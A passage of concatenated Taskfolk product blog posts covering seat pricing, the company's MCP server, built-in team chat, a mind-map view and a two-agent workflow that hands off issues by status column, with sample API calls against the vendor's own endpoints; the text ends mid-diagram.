https://taskfolk.ai/api/v1/workspaces/your-team/agents \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/your-team/agents", { headers: { Authorization: "Bearer tfk_live_a1b2..." } } ); const { data } = await res.json(); // each agent: agent_id, name, kind, owner_user_id, // running_sessions, last_activity_at, created_at ``` ![The Taskfolk agent hub roster listing connected agents with their provider, owner, and session state](/images/blog/manage-a-team-of-ai-agents-hub-roster.webp) If agents are part of why you are re-evaluating your tracker, we wrote a full guide to [AI agent project management](/blog/ai-agent-project-management-guide). ## What we did instead Taskfolk charges $3 per builder per month, and viewers are free with no cap. A builder is someone who creates, comments on, and moves work. A viewer can read projects and follow issues but cannot change anything. You pay for the people doing the work, and you invite everyone else in for nothing. Run the math on a team of five builders and twenty viewers: ```python builders, viewers = 5, 20 team = builders + viewers per_seat_tool = team * 10 * 12 # everyone is a seat: $3,000 a year taskfolk = builders * 3 * 12 # builders only: $180 a year ``` On a $10-per-seat tool where everyone is a seat, that is 25 paid seats, roughly $3,000 a year. On Taskfolk it is five seats, $180 a year. The gap is not a rounding error, it is most of the bill. ![Taskfolk's billing page with the plan grid, where viewer seats never appear on the invoice](/images/blog/how-to-manage-billing-and-plans-plan-grid.webp) We are not going to pretend Taskfolk does everything Jira does. Jira has two decades of enterprise depth, and if you need its exact workflow engine or a specific marketplace app, that is a real reason to stay. But if you are paying the Jira tax mostly to give read access to people who never write, that is worth questioning. ## What switching actually costs Migration is the tax on any of this, so weigh it honestly. Moving trackers costs a few days of setup, some rewritten automations, and a month of people typing the old tool's URL from muscle memory. It is real, and it is also mostly front-loaded and finite, unlike a per-seat bill. The mechanics are less painful than they used to be. Most tools import from Jira directly; Taskfolk imports issues, types, statuses, assignees, and comments from Jira, Trello, Asana, ClickUp, and CSV, and we wrote up the clean way to run one in [how to migrate without losing your history](/blog/migrate-from-jira-trello-asana-to-taskfolk). ![Taskfolk's import wizard with the source picker for Jira, Trello, Asana, ClickUp, and CSV](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) Pilot with one project first. If the pilot does not clearly pay for the migration tax, stay where you are. ```mermaid flowchart LR A["Pilot one project"] --> Q{"Pays for the migration tax?"} Q -->|Yes| M["Move the rest"] Q -->|No| S["Stay where you are"] ``` ## How to actually compare Ignore the feature grid for a minute and do this instead. 1. **Count your real builders**, the people who touch the board most weeks. Then count everyone who needs to see it but rarely edits. Take each tool's per-seat price and multiply by the total headcount it would charge for. That single number tells you more than any comparison table. 2. **Check the free plan honestly.** "Free forever" means little if it caps you at 2 seats (Monday, and Asana for new accounts) or 10 people (Jira, Trello). ClickUp offers unlimited members free, and Linear does too until you hit its 250-issue cap. Taskfolk's free plan is unlimited members and viewers with up to 5 projects and no issue cap. Some engineering teams skip the category entirely and run on plain GitHub Issues; [when projects outgrow a repo](/blog/github-issues-alternative-when-projects-grow) covers where that stops working. 3. **Price the tier you will really be on in a year**, with docs, SSO, and guest access accounted for, not the cheapest tier that got you in the door. And if AI is part of why you are leaving, we ranked [the best AI project management software](/blog/best-ai-project-management-software) with the AI cost broken out from the seat price. ## The short version Most project tools are priced for a world where everyone who opens the app is a paying user. Real teams are not shaped like that. A few people drive the work and a lot of people watch it. If your tool charges you for the watchers, you are overpaying, and no feature list changes that. Taskfolk is free for viewers and $3 per builder, and every new team gets a 14-day Pro trial on its first workspace with no card. Bring the whole team in and only pay for the ones actually pushing work forward. --- # Why we gave Taskfolk an MCP server, and what it changes URL: https://taskfolk.ai/blog/why-taskfolk-has-an-mcp-server Published: 2026-07-11 Updated: 2026-07-25 Author: The Taskfolk team Tags: MCP, AI agents, developer What the Model Context Protocol is in plain terms, why a project tracker is a good fit for it, and how an agent picks up your workspace without any glue code. If you have wired an AI assistant into a real tool before, you know the tax. You write a wrapper around the API, describe every endpoint to the model in a prompt, keep that description in sync as the API changes, and handle auth by hand. Do it for three tools and you have a small, brittle integration project on your hands. The Model Context Protocol exists to kill that tax. Here is what it is and why we built one for Taskfolk. ## MCP in plain terms MCP is a standard way for an AI client to discover and call the tools a service offers, without anyone hand-writing the glue. The service runs an MCP server that lists its tools and how to call them. The client, say Claude or Cursor, reads that list and can use the tools right away. The comparison people reach for is a USB port. Before it, every device had its own cable. After it, you plug in and it works. MCP is trying to be that for AI-to-service connections: one shape that a model already understands, instead of a bespoke adapter per tool. That is the whole idea. It is not magic, and it is early. But the direction is right, and a project tracker turns out to be one of the clearer places it pays off. ## Why a tracker is a good fit An agent doing real work needs somewhere to write down what it is doing. Not in a chat log that scrolls away, but in a place the whole team already looks: the backlog, the board, the issue with the acceptance criteria. Without that, agent output is trapped. The model writes a great plan and it lives in a conversation nobody else opens. With a tracker on the other end, the plan becomes issues, the work becomes status changes, and the record becomes something a human can audit later. The tracker is [the shared memory](/blog/give-your-ai-agent-a-knowledge-base). So the useful move is not "let the agent read your tickets." It is "let the agent run the project the same way a teammate would," and have every action land in the same place, attributed, with the same permissions. ## What it looks like in practice Taskfolk runs [a first-party MCP server](/blog/project-management-tools-with-a-first-party-mcp-server). In an MCP-native client you add it once with your API key, and the tools show up: create an issue, move it across the board, comment, set custom fields, search the backlog, read what is done and what is still open. In Claude Code, adding it is one line: ```bash claude mcp add --transport http taskfolk-product https://taskfolk.ai/api/mcp/v1/ \ --header "Authorization: Bearer $TASKFOLK_API_KEY" ``` In Cursor, the same thing goes in `~/.cursor/mcp.json`: ```json { "mcpServers": { "taskfolk-product": { "url": "https://taskfolk.ai/api/mcp/v1/", "headers": { "Authorization": "Bearer YOUR_API_KEY" } } } } ``` You do not have to type either by hand. The developer settings page generates the snippet for Claude Code, Cursor, and VS Code with your key already in place. ![Taskfolk's developer settings generating the Claude Code MCP setup command](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) From there the client discovers the tools by itself. Their names are derived from the REST spec, so they read like the API: `list_projects`, `create_issue`, `transition_issue`, `list_issue_comments`, `who_am_i`. When your agent decides to file a bug, what actually crosses the wire is one JSON-RPC call. You can send the same call yourself with curl: ```bash curl -X POST https://taskfolk.ai/api/mcp/v1 \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "create_issue", "arguments": { "slug": "acme", "key": "WEB", "title": "Fix login redirect", "type": "bug" } } }' ``` ```javascript const res = await fetch("https://taskfolk.ai/api/mcp/v1", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ jsonrpc: "2.0", id: 1, method: "tools/call", params: { name: "create_issue", arguments: { slug: "acme", key: "WEB", title: "Fix login redirect", type: "bug" }, }, }), }); console.log(await res.json()); ``` ```python import os import requests res = requests.post( "https://taskfolk.ai/api/mcp/v1", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "create_issue", "arguments": {"slug": "acme", "key": "WEB", "title": "Fix login redirect", "type": "bug"}, }, }, ) print(res.json()) ``` There is no wrapper to maintain. When we add an endpoint, it appears in the tool list. When we change a field, the description the model sees updates with it. The client does not need a new release for any of that. And every `tools/call` re-enters the same REST pipeline internally, so auth, scopes, and rate limits are checked once, in one place: ```mermaid sequenceDiagram participant C as MCP client participant M as MCP server participant R as REST v1 pipeline C->>M: tools/list M-->>C: tools your key allows C->>M: tools/call create_issue M->>R: same bearer key, same checks R-->>M: issue created M-->>C: result ``` For clients that do not speak MCP yet, the same workspace is reachable two other ways: the plain REST API, and an installable skill bundle that ships a SKILL.md describing your actual projects, keys, and conventions. Same capabilities, three front doors, so you are not stuck waiting for your tool of choice to add support. ```mermaid flowchart LR A[Agent via MCP] --> P[One REST pipeline] B[Script via REST] --> P S[Agent via skill bundle] --> P P --> W[Your workspace] ``` ## The honest caveats MCP is young. The spec is still moving, client support is uneven, and the security model is something you have to take seriously rather than assume. An agent with a write-capable key can do damage if you hand it the wrong scope. So we default to per-agent keys and let you grant only the tools an agent actually needs. The tool list an agent sees is already filtered to its key's scopes: read the whole board, write only where it should act. Here is an abbreviated `tools/list` response, the shape the client reads on connect: ```json { "jsonrpc": "2.0", "id": 1, "result": { "tools": [ { "name": "who_am_i", "description": "The identity behind the current API key." }, { "name": "search", "description": "Search issues and docs across the workspace." }, { "name": "list_issues", "description": "List issues in a project." }, { "name": "get_issue", "description": "Issue detail." }, { "name": "create_issue", "description": "Create an issue." }, { "name": "update_issue", "description": "Update an issue." }, { "name": "transition_issue", "description": "Move an issue to a new status." } ] } } ``` That is seven of the tools; there are over 180 in total, and the ones a given key actually sees are filtered to its scopes, so a read-only key never gets `create_issue` or `transition_issue` back at all. ![Per-agent permissions dialog in Taskfolk's agent hub](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) We also do not think MCP replaces the API. It sits on top of it. The REST surface is still the source of truth, [still what you reach for in a script or a CI job](/blog/mcp-or-rest-api-for-your-agent). MCP is the convenience layer for agents that support it, not a second system to keep in sync. ## Why it matters now More of the work landing in project tools is going to come from agents, not just people typing into a form. When that is true, the tools that assumed a human on every action start to feel wrong. The ones that treat an agent as a first-class participant, with a key, a scope, and a clean protocol, are the ones that will not need re-plumbing in a year. ![A connected agent in Taskfolk's agent hub with its own identity and key](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) That is the bet behind [Taskfolk's MCP server](/mcp). If you want to try it, add the server to your MCP client with a scoped key and point one agent at a real project. Worst case, you learn where the rough edges are. Best case, you stop writing glue code. --- # Keep team chat next to your issues, not in another app URL: https://taskfolk.ai/blog/keep-team-chat-next-to-your-issues Published: 2026-07-09 Updated: 2026-07-25 Author: The Taskfolk team Tags: Taskfolk, project management, how-to The case for project management with built-in chat: why splitting discussion from the tracker loses the thread, and how linking chat to issues fixes it. Here is a pattern you have probably lived. Someone drops a question in the team chat: "why did we drop the CSV import from this release?" A short thread happens. Two people weigh in, a decision gets made, and everyone moves on. Three weeks later a new person asks the same question and nobody can find the answer, because it scrolled past in a channel that also carries lunch plans and deploy pings. The decision was made in one app. The work it was about lived in another. Nothing connected them, so the reasoning evaporated. That gap is the whole reason to think about project management with built-in chat. Not because chat is a killer feature, but because the split between "where we talk" and "where the work is tracked" quietly costs you every day. ## The tax of switching apps Most teams run a tracker and a separate chat tool. On paper they do different jobs, so keeping them apart feels tidy. In practice you pay a tax on every handoff between them. You are reading an issue. A question comes up. You alt-tab to chat, retype enough context so people know what you mean ("re: the WEB-142 thing"), and start a conversation that now has no link back to the issue. When it resolves, someone has to remember to go update the issue, or the outcome only exists in the chat. Half the time nobody does. ```mermaid flowchart LR A[Reading an issue] --> B[Switch to chat] B --> C[Retype the context] C --> D[Thread resolves] D --> E{"Issue updated?"} E -->|Often not| F[Issue goes stale] E -->|Sometimes| G[Copied back by hand] ``` The issue stays stale and the real story is somewhere else. Do that twenty times a day across a team and the tracker slowly stops reflecting reality. It becomes a list of titles, while the actual thinking lives in a chat log that is hard to search and impossible to attribute to a specific piece of work. ## Discussion belongs next to the work The fix is not more discipline about copying things over. It is putting the conversation where the work already is. Taskfolk has a Slack-style team chat that lives inside the same workspace as your projects and issues. Channels, a `#general` that every new workspace starts with, direct messages, threaded replies, reactions, file attachments. If you have used a chat tool you already know how it works. ![The #general channel in Taskfolk's built-in team chat, one click from the board and backlog](/images/blog/how-to-use-team-chat-general-channel.webp) The point is not that it is novel. The point is that it is in the same place as the board and the backlog, under the same membership and permissions, so the conversation and the work are one system instead of two. That proximity changes small things that add up. You do not have to re-establish context, because the person you are talking to is already in the workspace looking at the same projects. You do not have to decide which of two tools a message belongs in. And when a discussion produces a decision, the New issue button is in the same shell you are already in, so writing it up is a click away rather than a jump to another app. ## The link that actually matters The feature that earns its place is the connection between a chat message and an issue. In a chat message you can write `#WEB-142` and it renders as a live link straight to that issue. You can write `@sam` and it becomes a real mention that notifies Sam. These are the same references that already work in issue comments and docs, so there is one syntax to learn, not three. Where you write it decides who can see it. A public channel is open to any workspace member, so a `@sam` there can reach Sam whether or not he has opened that channel yet. A private channel or a direct message only fans a mention out to people who are already in it, so a reference cannot pull an outsider into a room they were never added to. Channels are for a project or a topic that outlives any single thread; a DM is the two-person version of the same thing. Both carry the same reference syntax, so a `#WEB-142` in a DM links exactly like it does in `#general`. This is what closes the loop the two-app setup leaves open. A message like "shipping `#WEB-142` behind a flag, `@sam` can you sanity-check the migration first?" is doing three jobs at once. It is a conversation, it is a link back to the exact work, and it is a notification to the one person who needs to see it. ```mermaid flowchart TD M["One message with a reference and a mention"] --> L[Live link to the issue] M --> N[Notification to Sam] M --> R[A record anyone can click later] ``` Anyone who reads it later can click through to the issue and see the current state, not a frozen snapshot from whenever the message was sent. It works the other way too, with one honest caveat. There is no button that turns a message into an issue for you; when a thread lands on something worth tracking, you open a new issue in the same workspace and paste the decision into it. What you save is not the typing, it is the context switch: you never leave the shell, and the issue then keeps its own comment thread for the record that should outlive the channel. Chat is for the fast back-and-forth. The issue is for the durable decision. Having both in one workspace means you can move between them without losing the thread. ## Talk to an AI agent in the same place If you have connected an AI agent to the workspace, chat is also where you talk to it. An agent in Taskfolk is a real member with its own name and avatar, marked with a provider badge so you always know you are talking to Codex Bot and not a colleague. You reach it the way you reach anyone else: `@mention` it in a channel, or open a direct message with it. ![Mentioning a connected AI agent in a channel, the agent shown as a real member with a provider badge](/images/blog/chat-and-orchestrate-your-ai-agents-mention.webp) A mention or a DM to an agent pushes an event to that agent over its live stream, and it replies back into the same channel like any other participant. So a message like "@codex-bot summarize where `#WEB-142` stands" is a normal chat message that happens to be addressed to a machine. The reference and the mention resolve through the exact fan-out a human message uses, and the agent's answer is a record everyone in the channel can read, not a private side conversation. The work the agent then does, moving a status or leaving a comment, still lands on the issue under the agent's own identity, so chat stays the conversation and the tracker stays the record. ## Be honest: this is not a Slack replacement I want to be straight about what this is and is not. Taskfolk's chat is not trying to be your company-wide messaging tool. If your whole organization runs on Slack or Teams, with HR channels and payroll bots and the social stuff, keep that. Ripping it out to move everyone into a project tracker would be a bad trade, and we are not going to pretend otherwise. What built-in chat is good at is the discussion that belongs next to the work: - The design debate on a feature. - The quick "is this ready to merge" between two people on a project. - The channel a small team lives in while they push a release. For that slice, being one click from the board beats being in a separate app, every time. ![Creating a new channel in Taskfolk's team chat](/images/blog/how-to-use-team-chat-create-channel.webp) There are limits worth naming. Real-time delivery is there: messages, edits, reactions, and a typing indicator arrive live over a persistent connection. But we do not do rich presence beyond that yet. No "who is online" dots, no read receipts on every message. Threads keep replies tidy, but this is not a threaded forum with deep sub-threads. If your team wants a full social layer, this will feel deliberately plain. That plainness is on purpose. The goal is a calm place to talk about the work, not another feed to keep up with. ## Where it fits with the rest of Taskfolk Chat is one surface among several that all point at the same issues. Comments on an issue carry the same `@mention` and `#KEY-NUM` references. The [in-app AI assistant](/blog/run-projects-with-ai-agents) answers questions scoped to your workspace. Notifications collect mentions from chat and issues in one place, so you are not checking two inboxes. ![The notifications inbox collecting mentions from chat and issues in one place](/images/blog/notifications-and-watching-issues-inbox.webp) Chat is on the public API too, so a script or an agent can post into a channel. List your channels to get an id (the key needs the `chat:read` scope for this, `chat:write` to send): ```bash curl https://taskfolk.ai/api/v1/workspaces/taskfolk/chat/channels \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` Then send a message. References and mentions in `body_md` resolve exactly like they do in the UI, through the same notification fan-out: ```bash curl -X POST \ "https://taskfolk.ai/api/v1/workspaces/taskfolk/chat/channels/$CHANNEL_ID/messages" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"body_md": "Nightly deploy done, #WEB-142 is live behind the flag. @sam"}' ``` ```javascript const res = await fetch( `https://taskfolk.ai/api/v1/workspaces/taskfolk/chat/channels/${channelId}/messages`, { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ body_md: "Nightly deploy done, #WEB-142 is live behind the flag. @sam", }), }, ); const message = await res.json(); ``` ```python import os import requests r = requests.post( f"https://taskfolk.ai/api/v1/workspaces/taskfolk/chat/channels/{channel_id}/messages", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"body_md": "Nightly deploy done, #WEB-142 is live behind the flag. @sam"}, ) r.raise_for_status() ``` Threaded replies work the same way: pass a `parent_id` pointing at the message you are answering. The through-line is that everything resolves back to the work. A mention in chat, a comment on a bug, a status change on the board, all of it is the same set of people acting on the same set of issues, with one identity and one permission model behind it. That is easier to reason about than a tracker plus a chat tool plus a manual habit of keeping them in sync. ## Try it where it belongs If your discussion about the work keeps drifting into a separate app and dying there, the built-in chat is worth a look. Start a workspace, open `#general`, and the first time you drop a `#KEY-1` into a message and watch it link straight to the issue, you will feel the difference. Keep your company Slack for everything else. Move the conversation about the work to where the work already is. See [pricing](/pricing) to start free, and read more about how the pieces connect in [the docs](/developer). --- # See your whole project as a mind map URL: https://taskfolk.ai/blog/see-your-whole-project-as-a-mind-map Published: 2026-07-05 Updated: 2026-07-25 Author: The Taskfolk team Tags: views, project planning, Taskfolk A nested list hides how work relates. A mind map shows it. When a map of your epics and stories helps, when a list is better, and how Taskfolk's does it. Open a big backlog and you get a wall of rows. Each one is honest about itself, this task belongs to that epic, this bug is a child of this story, but the shape of the whole thing is gone. You scroll, you collapse a section, you scroll back, and you still cannot answer the simple question a new person always asks: how does all of this fit together? A nested list is good at holding work. It is bad at showing structure. The indentation is technically the tree, but you read a list one line at a time, top to bottom, so the relationships stay implied instead of visible. A mind map flips that. It draws the tree as a tree: one project in the middle, epics branching off it, stories and tasks hanging off those, connected by lines you can actually follow. Taskfolk has one built in. It is a real graph view of a project (or a whole workspace), not a screenshot you export and mark up in another tool. This post is about when that view earns its place, when it does not, and how ours works so you know what you are getting. ## What a mind map shows that a list cannot The value is in the edges, the lines between things. A list tells you WEB-42 is under the "Checkout redesign" epic. A map shows you that "Checkout redesign" has eleven children, three of them unassigned, and that half of them are still in the first column while the epic next to it is nearly done. You did not read that. You saw it. ![Taskfolk's mind map with the project in the middle and epics branching off it, direct children collapsed](/images/blog/how-to-use-the-mindmap-project-overview-collapsed.webp) That is the honest difference. A list is a lookup tool: you go to it with a question about one item and it answers. A map is a shape tool: you look at it and the questions find you. "Why does that epic have no stories under it?" "Who owns this entire branch?" "When did we start three parallel efforts that all depend on the same task?" Those are structural questions, and structure is exactly what a flat, scrolled list flattens away. ## The three ways to group it The same issues can be arranged around different centers, and each arrangement answers a different question. Taskfolk's map has three grouping modes, and you switch between them without reloading anything. ```mermaid flowchart LR I[Same issues] --> H[Hierarchy] I --> S[Status] I --> P[People] H --> HQ[How does the work fit together] S --> SQ[Where is work piling up] P --> PQ[Who is holding what] ``` **Hierarchy** is the default and the one people picture when they hear "mind map." The project sits in the middle, epics branch out, and each epic's stories, tasks, and subtasks hang off it by parent. Loose issues that belong to no epic collect under a "No epic" branch, which is its own useful signal: if that branch is fat, you have a lot of orphaned work nobody parented. **Status** regroups the exact same issues by board column instead of by parent. Now the branches are your workflow: everything in progress on one arm, everything in review on another, done off to the side. This is the map for [a planning conversation about flow](/blog/run-sprints-without-the-ceremony). You can see at a glance whether one column is swollen while the next is empty, which usually means work is piling up somewhere and not moving through. **People** groups by assignee, with an "Unassigned" branch that is often the most interesting one on the screen. It answers "what is each person actually holding" in a way a workload table does not, because you see the shape of each person's branch, not just a count. One person with a deep, tangled branch and another with two leaves is a load-balancing problem you can point at in a standup. ![The mind map grouped by people, each assignee a branch with their issues hanging off it](/images/blog/how-to-use-the-mindmap-group-by-people.webp) Three views of one dataset. No re-tagging, no separate report. The grouping is computed from the issues you already have. ## When the map is the right tool Planning is the obvious one. When you are [breaking an epic into stories](/blog/ai-sprint-planning-what-works), the map keeps the whole structure in front of you so you notice the gaps, the story with no tasks, the epic with one lonely child that probably should not be its own epic. It is much easier to see missing branches than missing rows. Onboarding is the quieter win. Hand a new hire a 300-row backlog and they will nod and quietly drown. Open the hierarchy map and they get the territory in a minute: here are the four big efforts, here is roughly how big each one is, here is where the work clusters. Then they can go read the list, with a map in their head. Spotting orphaned or lopsided work is the third. The "No epic" branch, the "Unassigned" branch, an epic that is all done except one stuck child, a person carrying twice their share, these show up as visual outliers on a map and hide as ordinary rows in a list. You tend to find them by accident, which is the point. You were not searching for them, you just saw the shape was wrong. For deep or busy projects the map is built to stay readable rather than draw everything at once: - It opens collapsed on purpose, root expanded and its direct children folded, so you start with the big branches and open the ones you care about. - Click a branch to expand it. Click a leaf issue to jump straight to that issue. - A search box filters the map and pops open the branches that contain a match, so you can find one ticket without hand-expanding the whole tree. - A workspace-level map starts from your projects and loads each project's tree only when you open it, so a big org does not try to draw everything on the first paint. ![The workspace-level mind map, projects as top-level branches that load their trees on demand](/images/blog/how-to-use-the-mindmap-workspace-map.webp) ## When a list is just better A map is a view, not a replacement for the way you run the day. We are not going to pretend otherwise. For daily execution the board wins, and it is not close. When your job today is "move my three tickets across the columns," you want the board or the list, not a graph you have to pan around. A map is a poor place to do work. It is a good place to understand work, and those are different jobs. Dragging a card to the next status is a board action; the map is for looking, not for pushing tickets through the flow. Lists also beat maps whenever you need to sort, filter on several fields at once, or scan exact values. "Show me every open bug assigned to me, sorted by priority, updated this week" is a list query, and Taskfolk's list view with its filters answers it in a way no graph will. Precise, columnar, sortable data belongs in a table. Relationships and shape belong in a map. | The question you have | The view that answers it | |---|---| | How does this project fit together? | Mind map, hierarchy mode | | Where is work piling up? | Mind map, status mode | | Who is holding what? | Mind map, people mode | | Move my tickets to the next column | Board | | Every open bug assigned to me, by priority | List with filters | | Aggregate numbers across projects | Reports and workspace summary | And a map gets noisy at real scale. A few hundred nodes on one screen is a lot of lines no matter how clean the layout. That is exactly why ours defaults to collapsed and lets you open branches deliberately, but it is an honest limit: past a certain size you navigate the map, you do not take it in at a glance. For the truly big picture across many projects, the reports and the workspace summary are built for aggregate numbers, and the map is built for structure. Use each for what it is good at. ## The short version A nested list stores your work faithfully and hides how it connects. A mind map draws the connections and lets structural problems, orphaned tickets, lopsided load, stalled columns, show themselves. Taskfolk gives you three groupings of the same issues, by hierarchy, by status, by person, so one dataset answers three different planning questions. Use the map to plan, to onboard, and to catch the work that is drifting. Use the board and the list to actually push tickets through the day. Neither replaces the other. If you want to see your own backlog as a shape instead of a scroll, open any project in Taskfolk and switch to the mind map tab. Your first workspace comes with a 14-day Pro trial, no card, and viewers are always free, so you can bring the whole team in to look. See the [pricing](/pricing) if you want the numbers first. --- # Two agents, one backlog: handing off by issue status URL: https://taskfolk.ai/blog/coordinate-two-agents-with-issue-status-handoffs Published: 2026-07-01 Updated: 2026-09-24 Author: The Taskfolk team Tags: multi-agent, AI agents, automation, how-to, agile, workflow A practical multi-agent workflow: custom board columns and status transitions as the handoff bus between a triage agent and a coding agent, with human review. Say you want two agents working the same backlog. One reads incoming issues and figures out what they are: is this a real bug, which project does it belong to, how urgent is it. The other picks up the ones that are ready and writes the fix. The obvious question is how they talk to each other without stepping on each other's work. The tempting answer is to build a message queue, or have the agents call each other, or keep some shared state in a side channel. You do not need any of that. The issue tracker already has a handoff primitive sitting in plain sight: the status of the issue. When agent A moves an issue from one column to the next, that move is the message. Agent B watches for issues in its column and picks them up. Nothing else has to coordinate them. This is a pattern you compose out of features Taskfolk already ships, not a "connect two agents" button. It is worth doing when you actually have two distinct jobs to split. If one agent can do the whole thing, keep it as one agent. But once triage and fixing are genuinely separate concerns, status columns are the cleanest wire between them. ## Why status makes a good handoff A status change has three properties that make it a good message bus, and most homegrown coordination schemes lack at least one of them. It is durable. The state lives in the database, not in an agent's memory. If the coding agent crashes halfway through, the issue is still sitting in its column when the agent restarts. Nothing is lost in a channel that only existed while a process was running. What to do with the half-finished work itself is covered in [picking up where your AI agent left off](/blog/pick-up-where-your-ai-agent-left-off). It is observable. A human can open the board and see exactly where every issue is. That matters more than it sounds. When two agents are passing work around, the failure mode you fear is silent drift: something got misclassified three steps ago and nobody noticed. With the board, the pile-up is visible. If forty issues stack up in one column, you can see it at a glance and go find out why. It is already the source of truth. In Taskfolk, `issues.status` is the semantic backbone that drives whether an issue is open, when it resolved, and how it shows up in reports. You are not inventing a parallel state machine that can drift out of sync with the real one. The handoff and the truth are the same field. ## Design the columns as the protocol Taskfolk's board columns are custom (STATUS-CUSTOM-01). Each project gets named, colored, ordered columns, and each column maps to one of seven fixed status categories (backlog, todo, in progress, in review, done, failed, cancelled). The category is the semantic bucket; the column is the human-readable name you give it. This split is what lets you shape columns around your workflow without breaking reports. For a two-agent setup, lay the columns out as a pipeline and treat each one as a mailbox for whoever owns that stage: | Column | Category | Whose in-tray it is | |---|---|---| | Inbox | backlog | Triage agent. Every new issue lands here. | | Classified | todo | A human. The triage agent moves an issue here once type, priority, project, and labels are set. | | Ready to code | todo | Coding agent. A human moved it here after a look. | | In progress | in progress | Nobody. The coding agent claims the issue by moving it here, so no second worker grabs it. | | In review | in review | A human. The coding agent moved it here when it opened a pull request. | | Done / Failed | done / failed | Terminal. | Read down that table and the choreography is obvious. Each agent has exactly one column it pulls from and one column it pushes to. The human sits in the two gaps that need judgment. Nobody has to ask anybody anything; the position of the card is the whole conversation. ![Board statuses tab in project settings, where the pipeline columns are created and mapped to categories](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) The whole pipeline, with who moves each card: ```mermaid flowchart TD I[Inbox] -->|"triage agent"| C[Classified] C -->|"a human, after a look"| RC["Ready to code"] RC -->|"coding agent claims it"| P["In progress"] P -->|"coding agent opens a PR"| R["In review"] R -->|"a human"| D[Done] R -->|"a human"| F[Failed] ``` The deliberate choice here is the human review column in the middle. You could wire the triage agent's output straight into the coding agent and let the whole thing run unattended. I would not, at least not at first. Triage is where the expensive mistakes happen: a bug filed against the wrong project, a "trivial" label on something that touches auth. One glance from a person before code gets written is cheap insurance, and because the handoff is a column, adding or removing that human step is just moving where the agents pull from. The protocol does not change. ## Make wrong moves impossible The risk with a pipeline is an agent moving an issue somewhere it should not go. A triage agent should not be shipping things straight to Done. A coding agent should not be reclassifying an issue back to the inbox. Taskfolk has transition rules for exactly this (WORKFLOW-01). Each column can declare which columns an issue is allowed to move to next, stored as `allowed_transitions`. Leave it null and every move is allowed, which is the default. Set it, and the workflow refuses any move that is not on the list. The rule is enforced on every path that writes a status, including the public API and the MCP server, so an agent cannot route around it by calling a different endpoint. ![Workflow transition rules in project settings, restricting which columns each status can move to](/images/blog/human-in-the-loop-approval-for-ai-agents-workflow.webp) Configure the transitions to match the pipeline above and the columns stop being suggestions and become a real state machine: - Inbox can only go to Classified. - Classified can only go to Ready to code (a human does that). - Ready to code can only go to In progress. - And so on down the line. If the coding agent tries to shove something back to the inbox, the write is rejected with a readable message, and you find the bug in the agent's logic instead of in a tangled board a week later. There is a second guard worth setting: a WIP limit per column. Give In progress a limit of, say, three, and the coding agent cannot pull a fourth issue while three are already in flight. That keeps a runaway agent from claiming the entire backlog at once, and it maps to how you would run a real team. ## Wire the agents in Each agent needs to do two things: find the issues in its column, and move the ones it finishes. Both go through the same interface a human would use, just programmatically. Point each agent at [the REST API](/api/v1/reference) or [the MCP server](/developer), whichever fits how the agent is built. First, fetch the project's columns once so each agent knows the `status_id` of its own mailbox: ```bash curl -s https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/statuses \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` To find work, list issues filtered by category, then match the column on the client. Every issue in the response carries `status_id` and `status_name`, which is how you tell "Classified" apart from "Ready to code" when both map to todo: ```bash curl -s "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues?status=todo" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` The move itself is a PATCH. Passing `status_id` targets an exact column; the tracker derives the category, checks the transition rules, and writes the activity row. Here is the coding agent claiming WEB-12, in curl: ```bash curl -s -X PATCH https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12 \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"status_id": ""}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12", { method: "PATCH", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ status_id: inProgressId }), }, ); const issue = await res.json(); ``` ```python import os import requests res = requests.patch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"status_id": in_progress_id}, ) issue = res.json() ``` There is also a dedicated transition endpoint, `POST /api/v1/workspaces/{slug}/projects/{key}/issues/{KEY-N}/transition`, which takes a status category plus an optional rank for repositioning; it mirrors the board drag. For this pattern, PATCH with `status_id` is the sharper tool because it names the exact column. Because the transition rules and WIP limits live in the tracker, not in the agent, the agent code stays small: read my column, act, advance. It does not need to know the rest of the pipeline exists. ![Bots page showing a connected agent with its own identity and API key](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) Give each agent its own scoped API key. The triage agent needs to read issues and edit their fields; it does not need to close sprints or change project settings. The coding agent needs to move issues and comment; it does not need to reclassify. Narrow keys mean a misbehaving agent can only misbehave inside its lane, and you can revoke one without touching the other. This is the same advice from [our post on MCP versus the REST API](/blog/mcp-or-rest-api-for-your-agent): read broadly, write narrowly, one key per agent. The choreography over time, with the board as the only shared surface: ```mermaid sequenceDiagram participant T as Triage agent participant B as The board participant H as A human participant C as Coding agent Note over B: new issue lands in Inbox T->>B: read Inbox, classify, set fields T->>B: move to Classified H->>B: sanity check, move 